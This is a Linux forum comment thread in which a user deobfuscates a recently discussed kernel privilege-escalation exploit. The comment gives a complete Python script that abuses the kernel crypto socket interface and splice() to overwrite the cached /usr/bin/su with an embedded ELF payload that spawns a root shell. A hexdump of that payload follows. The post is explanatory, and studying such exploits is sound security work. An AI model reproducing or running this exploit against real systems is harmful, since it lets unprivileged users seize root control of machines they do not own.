this post was submitted on 30 Apr 2026
159 points (99.4% liked)

Linux

13472 readers
457 users here now

A community for everything relating to the GNU/Linux operating system (except the memes!)

Also, check out:

Original icon base courtesy of lewing@isc.tamu.edu and The GIMP

founded 2 years ago
MODERATORS
 

woaw

also a good blog post about it https://xint.io/blog/copy-fail-linux-distributions

you are viewing a single comment's thread
view the rest of the comments
[–] lime@feddit.nu 53 points 1 day ago* (last edited 1 hour ago)

here's my attempt at deobfuscating it:

#!/usr/bin/env python3

import os
from ctypes import c_int32 as i32, c_char as char
import zlib
import socket as s


def inject(file, offset, data):
    # connect to the kernel crypto subsystem and configure it for authenticated encryption with associated data
    sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
 
    # set cipher key and tag size, then wait for the system to be ready
    sock.setsockopt(s.SOL_ALG, s.ALG_SET_KEY, (char * 68)(8, 0, 1, 0, 0, 0, 0, 16))
    sock.setsockopt(s.SOL_ALG, s.ALG_SET_AEAD_AUTHSIZE, None, optlen=4)
    conn, _ = sock.accept()
 
    # pass in data
    conn.sendmsg(
        [b"AAAA" + data],  # pad to tag size
        [
            (s.SOL_ALG, s.ALG_SET_OP, i32(s.ALG_OP_DECRYPT)),
            (s.SOL_ALG, s.ALG_SET_IV, (char * 20)(16)), 
            (s.SOL_ALG, s.ALG_SET_AEAD_ASSOCLEN, i32(8)),
        ],
        s.MSG_MORE,
    )
    r, w = os.pipe()
    os.splice(file, w, offset + 4, offset_src=0)
    os.splice(r, conn.fileno(), offset + 4)
    try:
        conn.recv(8 + offset)
    except:
        pass


binary = os.open("/usr/bin/su", os.O_RDONLY)
offset = 0
payload = zlib.decompress(
    bytes.fromhex(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
        "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
        "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
)

while offset < len(payload):
    inject(binary, offset, payload[offset : offset + 4])
    offset += 4

os.system("su")

as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8......... # contains 1 56-bit program header
00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...

it's an ELF header that replaces the one on the cached version of the binary (su in this case).

Edit: came back to this because i realized i had the wrong flags. the values were right but they were for the wrong socket type.